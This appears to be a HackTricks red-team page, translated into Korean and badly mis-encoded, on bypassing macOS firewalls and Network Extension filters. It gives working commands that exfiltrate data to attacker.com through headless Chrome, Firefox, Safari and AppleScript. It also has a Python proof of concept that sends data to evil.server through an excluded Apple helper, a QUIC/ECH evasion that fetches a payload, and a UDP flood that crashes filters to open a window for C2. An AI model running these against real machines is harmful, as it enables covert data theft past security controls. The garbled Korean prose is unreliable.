macOS Bypassing Firewalls
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ฐ๊ฒฌ๋ ๊ธฐ๋ฒ
๋ค์ ๊ธฐ๋ฒ๋ค์ ์ผ๋ถ macOS firewall ์ฑ์์ ์๋ํ๋ ๊ฒ์ผ๋ก ํ์ธ๋์์ต๋๋ค.
Abusing whitelist names
- ์: ์ ์๋ ค์ง macOS ํ๋ก์ธ์ค ์ด๋ฆ์ธ **
launchd**๋ก malware๋ฅผ ํธ์ถํ๋ ๊ฒฝ์ฐ
Synthetic Click
- firewall๊ฐ ์ฌ์ฉ์์๊ฒ ๊ถํ์ ์์ฒญํ๋ฉด malware๊ฐ ํ์ฉ์ ํด๋ฆญํ๊ฒ ๋ง๋์ธ์.
Use Apple signed binaries
- ์:
curl๊ฐ์ ๊ฒ, ๋whois๋ฑ
Well known apple domains
firewall๋ apple.com ๋๋ icloud.com ๊ฐ์ ์ ์๋ ค์ง apple ๋๋ฉ์ธ์ ๋ํ ์ฐ๊ฒฐ์ ํ์ฉํ ์ ์์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ iCloud๋ C2๋ก ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
Generic Bypass
firewalls๋ฅผ ์ฐํํ๊ธฐ ์ํด ์๋ํด๋ณผ ๋ช ๊ฐ์ง ์์ด๋์ด
Check allowed traffic
ํ์ฉ๋ ํธ๋ํฝ์ ํ์ ํ๋ฉด ์ ์ฌ์ ์ผ๋ก whitelisted๋ ๋๋ฉ์ธ์ด๋ ์ด๋ค ์ ํ๋ฆฌ์ผ์ด์ ์ด ๊ทธ ๋๋ฉ์ธ์ ์ ๊ทผํ ์ ์๋์ง ์๋ณํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค
lsof -i TCP -sTCP:ESTABLISHED
DNS ์ ์ฉ
DNS ํด์์ mdnsreponder ์๋ช
๋ ์ ํ๋ฆฌ์ผ์ด์
์ ํตํด ์ํ๋๋ฉฐ, ์ด ์ ํ๋ฆฌ์ผ์ด์
์ ์๋ง๋ DNS ์๋ฒ์ ์ ์ํ๋ ๊ฒ์ด ํ์ฉ๋ ๊ฒ์
๋๋ค.
.png)
๋ธ๋ผ์ฐ์ ์ฑ์ ํตํด
- oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
- ๊ตฌ๊ธ ํฌ๋กฌ
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
- Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
- Safari
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
processes injections์ ํตํ
๋ง์ฝ inject code into a process ํ ์ ์๊ณ ๊ทธ ํ๋ก์ธ์ค๊ฐ ์ด๋ค ์๋ฒ์๋ ์ฐ๊ฒฐํ ์ ์๋๋ก ํ์ฉ๋์ด ์๋ค๋ฉด ๋ฐฉํ๋ฒฝ ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค:
์ต๊ทผ macOS ๋ฐฉํ๋ฒฝ ์ฐํ ์ทจ์ฝ์ (2023-2025)
Web content filter (Screen Time) bypass โ CVE-2024-44206
2024๋ 7์, Apple์ Screen Time ๋ถ๋ชจ ํต์ ์ ์ฌ์ฉ๋๋ ์์คํ ์ ์ฒด์ โWeb content filterโ๋ฅผ ์์์ํจ Safari/WebKit์ ์ฌ๊ฐํ ๋ฒ๊ทธ๋ฅผ ํจ์นํ์ต๋๋ค. ํน์ํ๊ฒ ์กฐ์๋ URI(์: ์ด์ค URL-encoded๋ โ://โ ํฌํจ)์ Screen Time์ ACL์์ ์ธ์๋์ง ์์ง๋ง WebKit์์๋ ํ์ฉ๋์ด ์์ฒญ์ด ํํฐ๋ง ์์ด ์ ์ก๋ฉ๋๋ค. ๋ฐ๋ผ์ URL์ ์ด ์ ์๋ ๋ชจ๋ ํ๋ก์ธ์ค(์: sandboxed ๋๋ unsigned code ํฌํจ)๋ ์ฌ์ฉ์ ๋๋ MDM ํ๋กํ์ผ์ ์ํด ๋ช ์์ ์ผ๋ก ์ฐจ๋จ๋ ๋๋ฉ์ธ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
์ค์ ํ ์คํธ (ํจ์น๋์ง ์์ ์์คํ ):
open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
# if the patch is missing Safari will happily load the page
macOS 14 โSonomaโ ์ด๊ธฐ์ Packet Filter (PF) ๊ท์น ์ ๋ ฌ ๋ฒ๊ทธ
macOS 14 ๋ฒ ํ ๊ธฐ๊ฐ ๋์ Apple์ **pfctl**๋ฅผ ๊ฐ์ธ๋ ์ฌ์ฉ์ ๊ณต๊ฐ ๋ํผ์ ํ๊ท ๋ฒ๊ทธ๋ฅผ ๋์
ํ์ต๋๋ค.quick ํค์๋๋ก ์ถ๊ฐ๋ ๊ท์น(๋ง์ VPN kill-switches์์ ์ฌ์ฉ๋จ)์ด ์กฐ์ฉํ ๋ฌด์๋์ด, VPN/firewall GUI๊ฐ blocked๋ก ํ์๋๋๋ผ๋ ํธ๋ํฝ leak๋ฅผ ์ด๋ํ์ต๋๋ค. ์ด ๋ฒ๊ทธ๋ ์ฌ๋ฌ VPN ๊ณต๊ธ์
์ฒด์ ์ํด ํ์ธ๋์๊ณ RC 2 (build 23A344)์์ ์์ ๋์์ต๋๋ค.
๊ฐ๋จํ leak ํ์ธ:
pfctl -sr | grep quick # rules are presentโฆ
sudo tcpdump -n -i en0 not port 53 # โฆbut packets still leave the interface
Apple ์๋ช ํฌํผ ์๋น์ค ์ ์ฉ (๋ ๊ฑฐ์ โ macOS 11.2 ์ด์ )
macOS 11.2 ์ด์ ์๋ **ContentFilterExclusionList**๊ฐ **nsurlsessiond**๋ App Store์ ๊ฐ์ ์ฝ 50๊ฐ์ Apple ๋ฐ์ด๋๋ฆฌ๊ฐ Network Extension framework (LuLu, Little Snitch ๋ฑ)๋ก ๊ตฌํ๋ ๋ชจ๋ socket-filter ๋ฐฉํ๋ฒฝ์ ์ฐํํ๋๋ก ํ์ฉํ์ต๋๋ค.
Malware๋ ์ ์ธ๋ ํ๋ก์ธ์ค๋ฅผ ๋จ์ํ ์์ฑํ๊ฑฐ๋ ํด๋น ํ๋ก์ธ์ค์ ์ฝ๋๋ฅผ ์ฃผ์
ํ์ฌ ์ด๋ฏธ ํ์ฉ๋ ์์ผ์ ํตํด ์์ ์ ํธ๋ํฝ์ ํฐ๋๋งํ ์ ์์์ต๋๋ค. Apple์ macOS 11.2์์ ํด๋น ์ ์ธ ๋ชฉ๋ก์ ์์ ํ ์ ๊ฑฐํ์ง๋ง, ์
๊ทธ๋ ์ด๋ํ ์ ์๋ ์์คํ
์์๋ ์ด ๊ธฐ๋ฒ์ด ์ฌ์ ํ ์ ํจํฉ๋๋ค.
์์ PoC (pre-11.2):
import subprocess, socket
# Launch excluded App Store helper (path collapsed for clarity)
subprocess.Popen(['/System/Applications/App\\ Store.app/Contents/MacOS/App Store'])
# Connect through the inherited socket
s = socket.create_connection(("evil.server", 443))
s.send(b"exfil...")
QUIC/ECH๋ก Network Extension ๋๋ฉ์ธ ํํฐ ์ฐํํ๊ธฐ (macOS 12+)
NEFilter Packet/Data Providers๋ TLS ClientHello SNI/ALPN์ ๊ธฐ์ค์ผ๋ก ๋์ํ๋ค. HTTP/3 over QUIC (UDP/443) ๋ฐ **Encrypted Client Hello (ECH)**๋ฅผ ์ฌ์ฉํ๋ฉด SNI๊ฐ ์ํธํ๋ ์ํ๋ก ๋จ์ NetExt๋ ํ๋ฆ์ ํ์ฑํ ์ ์๊ณ , ํธ์คํธ๋ช ๊ท์น์ ์ข ์ข fail-open๋์ด malware๊ฐ DNS๋ฅผ ๊ฑด๋๋ฆฌ์ง ์๊ณ ์ฐจ๋จ๋ ๋๋ฉ์ธ์ ๋๋ฌํ๊ฒ ํ๋ค.
Minimal PoC:
# Chrome/Edge โ force HTTP/3 and ECH
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
--enable-quic --origin-to-force-quic-on=attacker.com:443 \
--enable-features=EncryptedClientHello --user-data-dir=/tmp/h3test \
https://attacker.com/payload
# cURL 8.10+ built with quiche
curl --http3-only https://attacker.com/payload
If QUIC/ECH is still enabled this is an easy hostname-filter evasion path.
macOS 15 โSequoiaโ Network Extension instability (2024โ2025)
์ด๊ธฐ 15.0/15.1 ๋น๋๋ ์๋ํํฐ Network Extension ํํฐ(LuLu, Littleย Snitch, Defender, SentinelOne ๋ฑ)๋ฅผ ํฌ๋์์ํต๋๋ค. ํํฐ๊ฐ ์ฌ์์๋๋ฉด macOS๋ flow rules๋ฅผ ์ ๊ฑฐํ๊ณ ๋ง์ ์ ํ๋ค์ด failโopen ์ํ๊ฐ ๋ฉ๋๋ค. ํํฐ๋ฅผ ์์ฒ ๊ฐ์ ์งง์ UDP flows๋ก ํ๋ฌ๋ฉํ๊ฑฐ๋(๋๋ QUIC/ECH๋ฅผ ๊ฐ์ ํ๋ฉด) ์ถฉ๋์ ๋ฐ๋ณต์ ์ผ๋ก ์ ๋ฐํด GUI๊ฐ ์ฌ์ ํ firewall์ด ์๋ ์ค์ด๋ผ๊ณ ํ์ํ๋ ๋์ C2/exfil์ ์ํ ์ฐฝ์ ๋จ๊ธธ ์ ์์ต๋๋ค.
Quick reproduction (safe lab box):
# create many short UDP flows to exhaust NE filter queues
python3 - <<'PY'
import socket, os
for i in range(5000):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'X'*32, ('1.1.1.1', 53))
PY
# watch for NetExt crash / reconnect loop
log stream --predicate 'subsystem == "com.apple.networkextension"' --style syslog
์ต์ macOS์ฉ ๋๊ตฌ ํ
- GUI ๋ฐฉํ๋ฒฝ์ด ์์ฑํ๋ ํ์ฌ PF ๊ท์น์ ํ์ธ:
sudo pfctl -a com.apple/250.ApplicationFirewall -sr
- ์ด๋ฏธ outgoing-network entitlement๋ฅผ ๋ณด์ ํ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ด๊ฑฐ(ํผ๊ธฐ-backing์ ์ ์ฉ):
codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
- Objective-C/Swift๋ก Network Extension content filter๋ฅผ ํ๋ก๊ทธ๋๋ฐ ๋ฐฉ์์ผ๋ก ๋ฑ๋กํ์ธ์. ํจํท์ ๋ก์ปฌ ์์ผ์ผ๋ก ํฌ์๋ฉํ๋ ์ต์ํ์ rootless PoC๊ฐ Patrick Wardle์ LuLu ์์ค ์ฝ๋์ ํฌํจ๋์ด ์์ต๋๋ค.
์ฐธ์กฐ
- https://www.youtube.com/watch?v=UlT5KFTMn2k
- https://nosebeard.co/advisories/nbl-001.html
- https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html
- https://www.securityweek.com/cybersecurity-products-conking-out-after-macos-sequoia-update/
- https://learn.microsoft.com/en-us/defender-endpoint/network-protection-macos
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


